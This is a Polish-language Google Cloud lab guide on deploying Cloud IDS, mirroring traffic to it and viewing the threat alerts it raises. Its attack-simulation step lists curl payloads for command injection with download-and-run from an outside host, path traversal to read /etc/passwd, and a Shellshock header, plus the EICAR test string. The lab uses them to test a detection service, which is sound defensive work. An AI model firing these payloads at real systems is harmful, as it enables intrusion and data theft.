1. Wprowadzenie
W tym laboratorium wdrożysz Cloud IDS, zaawansowaną usługę wykrywania włamań nowej generacji, która wykrywa zagrożenia związane z włamaniem, złośliwym oprogramowaniem, programami szpiegowskimi oraz przejęciem kontroli (atakami C&C). Przeprowadzisz symulację wielu ataków i wyświetlisz szczegóły zagrożeń w Cloud Console.
Czego się nauczysz
- Jak utworzyć punkt końcowy Cloud IDS
- Tworzenie 2 maszyn wirtualnych za pomocą poleceń gcloud
- Tworzenie zasady dublowania pakietów
- Symulowanie ruchu związanego z atakiem z maszyny wirtualnej
- Jak wyświetlać szczegóły zagrożeń w Cloud Console i Cloud Logging
Czego potrzebujesz
- znajomość podstawowych poleceń systemu Linux;
2. Przypadki użycia Cloud IDS
Cloud IDS to natywna usługa Google Cloud nowej generacji do wykrywania włamań (IDS), która pomaga klientom spełniać wymagania dotyczące zaawansowanego wykrywania zagrożeń i zgodności, takie jak PCI 11.4. Usługa jest obsługiwana przez technologie ochrony przed zagrożeniami Palo Alto Networks, które zapewniają zaawansowane wykrywanie włamań. Połączenie światowej klasy infrastruktury Google Cloud ze światowej klasy zabezpieczeniami Palo Alto Networks zapewnia klientom niezrównane połączenie w pełni zarządzanej, wydajnej i najskuteczniejszej usługi wykrywania zaawansowanych zagrożeń.
Klienci, którzy przenoszą swoje usługi do chmury, zwracają szczególną uwagę na bezpieczeństwo. Chcą mieć podobne mechanizmy kontroli zabezpieczeń jak w przypadku środowiska lokalnego, np. usługę wykrywania włamań (IDS) w chmurze. Zdecydowanie wolą korzystać z natywnego dla chmury zarządzanego rozwiązania IDS ze względu na łatwość wdrażania, wysoką wydajność i zoptymalizowane koszty w porównaniu z wdrażaniem rozwiązania zabezpieczającego innej firmy i zarządzaniem infrastrukturą lub używaniem własnych sygnatur. Cloud IDS to kompleksowa, zarządzana usługa wykrywania włamań z autoskalowaniem, która umożliwia klientom analizowanie zagrożeń i ograniczanie ich, a także zwalnia ich czas i zasoby na zarządzanie infrastrukturą lub sygnaturami zagrożeń.
Usługa Cloud IDS jest wdrażana poza pasmem i może wykrywać zagrożenia oraz wysyłać o nich alerty, ale nie może ich blokować. Wykorzystuje on funkcję Google Cloud Dublowanie pakietów do tworzenia kopii ruchu w sieci, która jest analizowana za pomocą silnika wykrywania zagrożeń Palo Alto Network.
3. Topologia ćwiczeń z programowania

Rysunek 1. Ogólny przegląd architektury wdrożenia Cloud IDS na potrzeby tego modułu.
4. Konfiguracja i wymagania
Samodzielne konfigurowanie środowiska
- Zaloguj się w konsoli Google Cloud i utwórz nowy projekt lub użyj istniejącego. Jeśli nie masz jeszcze konta Gmail lub Google Workspace, musisz je utworzyć.



- Nazwa projektu to wyświetlana nazwa dla uczestników tego projektu. Jest to ciąg znaków, który nie jest używany przez interfejsy API Google. Możesz go w dowolnym momencie zaktualizować.
- Identyfikator projektu musi być unikalny we wszystkich projektach Google Cloud i jest niezmienny (nie można go zmienić po ustawieniu). Konsola Cloud automatycznie generuje unikalny ciąg znaków. Zwykle nie musisz się nim przejmować. W większości przewodników programistycznych musisz odwoływać się do identyfikatora projektu (zwykle oznaczanego jako
PROJECT_ID). Jeśli Ci się nie podoba, wygeneruj inny losowy identyfikator lub spróbuj użyć własnego i sprawdź, czy jest dostępny. Po utworzeniu projektu jest on „zamrażany”. - Istnieje też trzecia wartość, czyli numer projektu, którego używają niektóre interfejsy API. Więcej informacji o tych 3 wartościach znajdziesz w dokumentacji.
- Następnie musisz włączyć płatności w konsoli Cloud, aby korzystać z zasobów i interfejsów API Google Cloud. Ukończenie tego laboratorium nie powinno wiązać się z dużymi kosztami, a nawet z żadnymi. Aby wyłączyć zasoby i uniknąć naliczenia opłat po zakończeniu tego samouczka, postępuj zgodnie z instrukcjami „czyszczenia” na końcu ćwiczenia. Nowi użytkownicy Google Cloud mogą skorzystać z programu bezpłatnego okresu próbnego, w którym mają do dyspozycji środki w wysokości 300 USD.
Uruchom Cloud Shell
Z Google Cloud można korzystać zdalnie na laptopie, ale w tym ćwiczeniu użyjesz Google Cloud Shell, czyli środowiska wiersza poleceń działającego w chmurze.
W konsoli GCP kliknij ikonę Cloud Shell na pasku narzędzi w prawym górnym rogu:

Uzyskanie dostępu do środowiska i połączenie się z nim powinno zająć tylko kilka chwil. Po zakończeniu powinno wyświetlić się coś takiego:

Ta maszyna wirtualna zawiera wszystkie potrzebne narzędzia dla programistów. Zawiera również stały katalog domowy o pojemności 5 GB i działa w Google Cloud, co znacznie zwiększa wydajność sieci i usprawnia proces uwierzytelniania. Wszystkie zadania w tym laboratorium możesz wykonać w przeglądarce.
5. Zanim zaczniesz
Włącz interfejsy API
W Cloud Shell sprawdź, czy identyfikator projektu jest skonfigurowany.
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Włącz wszystkie niezbędne usługi
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Utwórz sieć VPC
Sieć VPC
W Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Podsieć
W Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Prywatny dostęp do usług
W Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Połączenie z usługą prywatną
W Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Reguły zapory sieciowej
Aby umożliwić IAP połączenie z instancjami maszyn wirtualnych, utwórz regułę zapory sieciowej, która:
- Dotyczy wszystkich instancji maszyn wirtualnych, które mają być dostępne przez IAP.
- Zezwala na ruch przychodzący z zakresu adresów IP 35.235.240.0/20. Ten zakres zawiera wszystkie adresy IP, których IAP używa do przekierowywania TCP.
W Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Aby zezwolić na standardowy port HTTP (TCP 80) i protokół ICMP na serwerze:
- Dotyczy zasobów z tagiem sieci „server”
- Dopuszcza ruch przychodzący ze wszystkich źródeł
W Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Tworzenie instancji Cloud NAT
Cloud Router
W Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
W Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Tworzenie punktu końcowego Cloud IDS
W tej sekcji utworzysz punkt końcowy Cloud IDS w regionie us-east1 z poziomem ważności ustawionym na informacyjny. Tworzenie punktu końcowego systemu wykrywania włamań trwa około 20 minut.
Punkt końcowy systemu wykrywania włamań
W Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Sprawdzanie, czy punkt końcowy Cloud IDS został zainicjowany
gcloud ids endpoints list --project=$PROJECT_ID
Dane wyjściowe –
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Tworzenie 2 maszyn wirtualnych
W tej sekcji utworzysz 2 maszyny wirtualne. Pierwszym będzie serwer WWW, który jest dublowany w Cloud IDS. Druga maszyna wirtualna będzie źródłem ruchu atakującego.
Maszyna wirtualna 1 (serwer)
W Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Maszyna wirtualna 2 (klient)
W Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Przygotowywanie serwera
W tym zadaniu zweryfikujesz serwer i udostępnisz klientowi nieszkodliwy ładunek złośliwego oprogramowania.
Łączenie się z maszyną wirtualną przez SSH za pomocą Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Sprawdzanie, czy usługa internetowa działa
sudo systemctl status nginx
Dane wyjściowe – sprawdź, czy instancja jest aktywna i uruchomiona
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Zmień katalog na usługę internetową
cd /var/www/html/
Utwórz na serwerze WWW plik z nieszkodliwym złośliwym oprogramowaniem.
sudo touch eicar.file
Wklej zawartość
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Wróć do Cloud Shell
exit
Tworzenie zasady dublowania pakietów Cloud IDS
Zidentyfikuj regułę przekierowania punktu końcowego systemu wykrywania włamań i sprawdź, czy stan punktu końcowego systemu wykrywania włamań to „GOTOWY”.
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Przykładowe dane wyjściowe – skopiuj wartość z pola „endpointForwardingRule”
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Zapisz regułę przekazywania punktu końcowego systemu wykrywania włamań w zmiennej.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Zasady dublowania pakietów
W Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Sprawdź, czy zasada dublowania pakietów została utworzona
W Cloud Shell
gcloud compute packet-mirrorings list
Wyniki
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Symulowanie ruchu związanego z atakiem
Połącz się z maszyną wirtualną atakującego (klient) przez SSH.
W Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Uruchom te żądania curl, aby zasymulować złośliwy ruch.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Wyjdź z maszyny wirtualnej, aby wrócić do Cloud Shell.
exit
11. Sprawdzanie zagrożeń wykrytych przez Cloud IDS
Otwórz panel Cloud IDS
Menu nawigacyjne > Bezpieczeństwo sieciowe > Cloud IDS

Otwórz kartę Zagrożenia.

Jak widać, Cloud IDS przechwycił różne profile ruchu związanego z atakami i podał szczegóły dotyczące każdego zagrożenia. Jeśli nie widzisz żadnych zagrożeń, konieczne może być kliknięcie przycisku „Odśwież”. Przyjrzyjmy się teraz szczegółom zagrożenia.
Znajdź zagrożenie „Bash Remote Code Execution Vulnerability” (Luka w zabezpieczeniach umożliwiająca zdalne wykonanie kodu w Bashu) i kliknij 3 kropki po prawej stronie, a następnie wybierz „Wyświetl szczegóły zagrożenia”.


Teraz wyświetlimy szczegóły tego incydentu w Cloud Logging. Wróć na stronę Zagrożenia, klikając strzałkę w lewo .
Kliknij trzy kropki po prawej stronie i wybierz „Wyświetl logi zagrożeń”.


Te same szczegóły są przekazywane do Cloud Logging. Dzięki temu możesz wysyłać logi do Cloud Storage, Chronicle lub dowolnego systemu SIEM/SOAR. Możesz też tworzyć niestandardowe przepływy pracy, aby podejmować działania naprawcze na podstawie alertów, np. tworzyć funkcję w chmurze, która jest wywoływana przez alert i tworzy lub aktualizuje regułę zapory sieciowej, aby blokować adres IP, albo tworzy lub aktualizuje zasadę Cloud Armor.
12. Procedura czyszczenia
Zamykanie instancji maszyny wirtualnej (wszystkie karty)
exit
Usuwanie komponentów laboratorium z jednego terminala Cloud Shell
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Gratulacje!
Gratulujemy ukończenia ćwiczenia.
Omówione zagadnienia
- Przypadki użycia Cloud IDS
- Wymagania związane z siecią
- Obsługiwane interfejsy API
- Utworzono punkt końcowy Cloud IDS
- Wdrożono 2 maszyny wirtualne
- Wygenerowano ruch „ataku” z klienta
- Wykryte przez system IDS zweryfikowane zagrożenia
- Sprawdzanie szczegółów zagrożeń i dzienników